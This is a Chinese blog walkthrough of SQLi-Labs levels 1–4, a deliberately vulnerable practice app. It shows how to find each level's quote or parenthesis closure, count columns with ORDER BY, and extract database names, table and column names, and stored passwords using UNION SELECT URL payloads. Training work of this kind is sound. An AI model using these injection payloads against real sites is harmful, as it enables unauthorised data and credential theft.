sqli-labs 靶场 less-1、2、3、4 第一关至第四关: 判断闭合方式,order by判断字段数,是否为字符型注入,获取information_schema的表

SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。

Less 1

SQLI DUMB SERIES-1
1. 判断闭合方式:在参数后面加\的方法判断闭合,\后面的符号就是闭合符号。在第一关,闭合方式通常为单引号闭合。
2. 判断字段数:使用order by语句来确定表中的列数。例如,输入id=1' order by 3--+,如果页面回显正常,说明存在三个字段。
3. 判断是否为字符型注入:尝试输入id=1',如果页面报错,说明是字符型注入。
4. 拼接字符串并确定注入点:使用and '1'='1'来进一步验证注入点,并观察页面回显是否正常。

Please input the ID as parameter with numeric value

字段数量

尝试输入ID,可以正常显示。
继续输入单引号,异常显示:

http://sqli-labs.com/Less-1/?id=1%27

SQL syntax
直接返回了SQL的语法错误,那么明显语句中有利用单引号'来作为字符型闭合符号。
可以选择直接把后面的语句注释掉,?id=1'--+
数据获取成功
使用orderby 语句判断查询字段数量

http://sqli-labs.com/Less-1/?id=1%27%20order%20by%203--+

可以知道结果为3时数据正常返回,意味着此次查询有3个字段。
在这里插入图片描述

在 MySQL 中,当你在 ORDER BY 子句中使用数字(如 ORDER BY 3),你实际上是在引用查询结果集中的列的位置,而不是列的名称。
数字引用是基于 SELECT 语句中列的顺序。如果你改变了 SELECT 语句中的列顺序,那么数字引用也会相应地改变。
ORDER BY 3 是根据查询结果集中的第三列进行排序的。如果你尝试引用一个不存在的列位置,MySQL 会抛出一个错误。
如果你在 SELECT 语句中使用了别名,并且想在 ORDER BY 中使用这个别名,你不能使用数字引用。你必须使用别名本身。

判断注入点

select 1,2,3
这个代码实际上在数据库中的显示为:

SELECT * FROM users WHERE id='1' union select 1,2,3;--+' LIMIT 0,1

select * from users
可以看到实际上是查到了数据,只是联结在了后面,我可以通过排序等方式让数据显示出来,在这里只需要不把数据查出来即可,如此便把ID改为-1:
SELECT * FROM
可以看到想要的数据直接显示出来了,实际SQL查到的数据如下:

SELECT * FROM users WHERE id='-1' union select 1,2,3;--+' LIMIT 0,1;

union select
如此我们便可以在2、3注入数据。

获取数据

  1. 获取用户名和数据库名
http://sqli-labs.com/Less-1/?id=-1%27%20union%20select%201,user(),database();--+

root@localhost
2. 获取该数据库所有的表名

group_concat()函数:按照指定字段分组,将满足条件的行转列,可指定分隔符将所有满足条件的字符串连接成一个字符串,separator缺省时默认为","
http://sqli-labs.com/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database();--+

referers
3. 获取Users表中的所有字段名

http://sqli-labs.com/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=database();--+

获取users表的表名
4. 获取用户的密码

http://sqli-labs.com/Less-1/?id=-1%27%20union%20select%201,2,group_concat(password)%20from%20users;--+

elect%201,2,group_conca

Less 2

SQLI DUMB SERIES-2
1. 进入第二关后,首先可以判断这是一个基于GET请求的注入点,需要在URL上拼接ID的值。
2. 尝试不同的ID值,观察显示的用户名和密码是否变化,以确认这两个地方的值与数据库进行交互。
3. 确定注入点后,可以开始查询数据库,如查找数据库下的所有表。

sqli dump series-2

注入点

Less2的基本上与Less1的相同,只是不需要字符串的闭合符号。
select * order by 3
select 1,2,3

获取数据

union

ma.columns where table_schema='s
=security and table_name='u

Less 3

SQLI DUMB SERIES-3
1. 判断注入点:输入id=1') --+,如果回显正常,说明存在括号闭合问题。
2. 判断当前表的字段数:使用order by语句来确定字段数。例如,输入id=1') order by 3 --+,如果页面回显正常,但输入id=1') order by 4 --+时报错,说明当前数据表字段有3个。
3. 判断回显位置:使用union select语句来确定回显位置。

除了闭合函数不同,需要查找相同符号闭合外,基本一致。

注入点

尝试输入整型,显示正常。
dumb
继续尝试使用字符闭合符号,输入1'报错了:
L syntax; check the manual that corresponds to your MySQL server version for the right syntax
可以看到MySQL提示语法错误,在''1'') LIMIT 0,1处的语句有错误。
从这个错误提示中可以看到该查询语句应是不字符闭合的基础上,还加上了括号。
那么我们也加上括号试试。

http://sqli-labs.com/Less-3/?id=1%27)--+

Welcome    Dhakkan
能正常执行就代表通过了,接下来继续判断字段数量:

http://sqli-labs.com/Less-3/?id=1%27)%20order%20by%203--+

Your Login name:Dumb

获取数据

assword:root@localhost
table
Your Password:id,username,password
stupidity,genious

Less 4

SQLI DUMB SERIES-4
1. 判断注入点:首先输入id=1 --+查看正常回显状态,然后尝试输入id=1' --+和双引号等,观察报错信息,以确定注入点类型(如双引号和括号闭合问题)。
2. 判断当前表的字段数:使用order by语句来确定字段数。例如,输入id=1") order by 3 --+,如果回显正常但输入id=1") order by 4 --+时报错,说明当前表的字段数只有3个。
3. 根据确定的注入点和字段数,进行进一步的SQL注入攻击。

注入点

经测试当输入"时会报错,则尝试使用此作为闭合符号:
在这里插入图片描述
但同样提示报错,并把源SQL语句报了出来,可见还是需要)进一步闭合语句,那么再加上这个右括号。

http://sqli-labs.com/Less-4/?id=1%22

 corresponds to your M
还是提示报错,但与之前不同的是原本的"1"已经不报错了,是后面的语句衔接有问题。

http://sqli-labs.com/Less-4/?id=1%22)

syntax; check th
现在再注释的符号加上,再输入执行就能发现现在代码执行成功了:

http://sqli-labs.com/Less-4/?id=1%22)%20--+

ogin name

注入

拉下来就是常规获取数据库名、表名、表字段、表信息。不再缀述。
le,admin,admi

系列文章

  • 28
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值